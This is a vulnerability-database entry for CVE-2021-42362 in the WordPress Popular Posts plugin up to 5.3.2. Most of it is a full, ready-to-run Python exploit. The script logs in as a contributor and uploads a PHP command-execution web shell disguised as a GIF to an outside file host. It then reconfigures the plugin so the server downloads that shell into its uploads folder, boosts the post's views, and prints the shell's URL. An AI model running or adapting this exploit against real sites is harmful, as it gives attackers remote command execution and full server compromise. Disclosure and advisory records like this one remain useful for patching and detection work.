WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)

🗓️ 15 Jul 2021 00:00:00Reported by Simone CristofaroType

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WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated). Exploit creates a new post adding a custom field with a web shell link. Authentication and server upload of the web shell is included

Reporter	Title	Published	Views	Family All 16
0day.today	WordPress Popular Posts 5.3.2 Remote Code Execution Exploit	20 Dec 202100:00	–	zdt
Circl	CVE-2021-42362	17 Nov 202120:14	–	circl
CNNVD	WordPress 代码问题漏洞	17 Nov 202100:00	–	cnnvd
CNVD	WordPress plugin Popular Posts arbitrary file upload vulnerability	19 Nov 202100:00	–	cnvd
Check Point Advisories	WordPress Popular Posts Plugin Arbitrary File Upload (CVE-2021-42362)	7 Mar 202200:00	–	checkpoint_advisories
CVE	CVE-2021-42362	17 Nov 202117:44	–	cve
Cvelist	CVE-2021-42362 WordPress Popular Posts <= 5.3.2 Authenticated Arbitrary File Upload	17 Nov 202117:44	–	cvelist
Metasploit	Wordpress Popular Posts Authenticated RCE	20 Dec 202117:42	–	metasploit
NVD	CVE-2021-42362	17 Nov 202118:15	–	nvd
OpenVAS	WordPress Popular Posts Plugin < 5.3.3 RCE Vulnerability	6 Dec 202100:00	–	openvas

# Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15/07/2021
# Exploit Author: Simone Cristofaro
# Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
# Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
# Version: 5.3.2 or below
# Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
# CVE: CVE-2021-42362
# Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
# Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is
# enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.

# This script will login with the provided credentials, create a new post and add a custom field with the link to a
# web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to
# provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is
# set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)

'''
Banner:
'''
banner = """
* Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)                                                        
* @Heisenberg
"""
print(banner)

'''
Import required modules:
'''
import requests
import argparse
import json
import re
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')
my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip")
my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port")
my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path")
my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")
my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")
args = my_parser.parse_args()
target_ip = args.target_ip
target_port = args.target_port
wp_path = args.wp_path
username = args.username
password = args.password

''' 
# Hard coded parameters (if you don't like command line execution) 
target_ip = "localhost"
target_port = "80"
wp_path = "/wordpress/"
username = "heisenberg"
password = "heisenberg"
'''

shell_name = 'exploit.gif.php'
payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>'

print('')
print('[*] Starting Exploit:')

'''
Upload file
'''
file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)})
resp = json.loads(file_json.text)
if resp['status']:
    urlshort = resp['data']['file']['url']['full']
else:
     print(f'[-] Error:'+ resp['error']['message'])
     exit()

file_uploaded_site = requests.get(urlshort).text
PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name

print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].')

'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'

# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Monies Browser 1.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}

# Authenticate:
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
    print(f'[+] Authentication successfull as user [{username}] !')
else:
    print('[-] Authentication failed ! Check username and password')
    exit()

'''
Verify that the requirements are installed
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'
settings_page = session.get(settings_page_url).text
search_string = ' gd'
if settings_page.find(search_string) == -1 :
    print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')
    exit()

'''
Get the wpp-admin-token
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'

settings_page = session.get(settings_page_url).text
search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'
search_string_end = '" />'
settings_page = settings_page[settings_page.find(search_string):]
wpp_admin_token = settings_page[72: settings_page.find(search_string_end)]
if wpp_admin_token:
    print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].')
else:
    print('[-] Error while gathering wpp-admin-token !')
    exit()

'''
Apply changes to the Popular Posts plugin
'''
body = {
    'upload_thumb_src': '',
    'thumb_source': 'custom_field',
    'thumb_lazy_load': 1,
    'thumb_field': 'wpp_thumbnail',
    'thumb_field_resize': 1,
    'section': 'thumb',
    'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):
    print(f'[+] Settings applied successfully to the Popular Posts plugin. ')
else:
    print('[-] Error while applying settings o the Popular Posts plugin!')
    exit()

'''
Empty image cache
'''
body = {
    'action': 'wpp_clear_thumbnail',
    'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
print(f'[+] Images cache cleared. ')


'''
Get the new post ID and Nonce
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php'

new_post_page = session.get(new_post_url).text
search_string = 'name="_ajax_nonce-add-meta" value="'
search_string_end = '" />'
new_post_page = new_post_page[new_post_page.find(search_string)+35:]
ajax_nonce = new_post_page[:new_post_page.find(search_string_end)]

search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'
search_string_end = '" );'
new_post_page = new_post_page[new_post_page.find(search_string)+66:]
wp_nonce = new_post_page[:new_post_page.find(search_string_end)]

search_string = '},"post":{"id":'
search_string_end = ','
new_post_page = new_post_page[new_post_page.find(search_string)+15:]
post_ID = new_post_page[:new_post_page.find(search_string_end)]

if post_ID and wp_nonce and ajax_nonce:
    print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].')
else:
    if not post_ID: print('[-] Error while gathering post_ID !')
    elif not wp_nonce: print('[-] Error while gathering Wordpress Nonce !')
    elif not ajax_nonce :  print('[-] Error while gathering Wordpress AJAX Nonce !')
    exit()

'''
Publish a new post
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user'

data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"}
header['X-WP-Nonce'] = wp_nonce
header['Content-Type'] = 'application/json'
header['X-HTTP-Method-Override'] = 'PUT'
new_post_page = session.post(new_post_url, headers=header, json=data).text
if new_post_page.find('"status":"publish"'):
    print(f'[+] New post named [I\'m the one who knocks] published correctly!')
else:
    print('[-] Error while publishing the new post !')
    exit()

'''
Add the Custom Filed
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'

header.pop('X-WP-Nonce')
header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
header.pop('X-HTTP-Method-Override')
header['Accept']='*/*'
header['X-Requested-With'] = 'XMLHttpRequest'
body = {
    '_ajax_nonce': 0,
    'action': 'add-meta',
    'metakeyselect': 'wpp_thumbnail',
    'metakeyinput': "",
    'metavalue' : PHP_URL,
    '_ajax_nonce-add-meta': ajax_nonce,
    'post_id' : post_ID
}
new_post_page = session.post(new_post_url, headers=header, data=body).text

if new_post_page.find("<tr id='meta-") > 0:
    print(f'[+] Added a new Custom Field with the uploaded web shell.')
else:
    print('[-] Error while adding the custom field !')
    print(new_post_page)
    exit()

'''
Give it some views to pop it up in the recent posts
'''
print(f'[+] Giving the new post some views (10) [ ', end="")

new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID
redirect_url = session.get(new_post_url).url

new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts'
data = {
    '_wpnonce': wp_nonce,
    'wpp_id': post_ID,
    'sampling': 0,
    'sampling_rate': 100
}


for progress in range(10):
    session.get(redirect_url)
    res = session.post(new_post_plugin_url, headers=header, data=data)
    print ('=', end='')

print(' ] '+json.loads(res.text)['results'])

print('[+] Exploit done !')
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name)
print('')

15 Jul 2021 00:00Current

8.8High risk

Vulners AI Score8.8

CVSS 26.5

CVSS 3.18.8

EPSS0.82414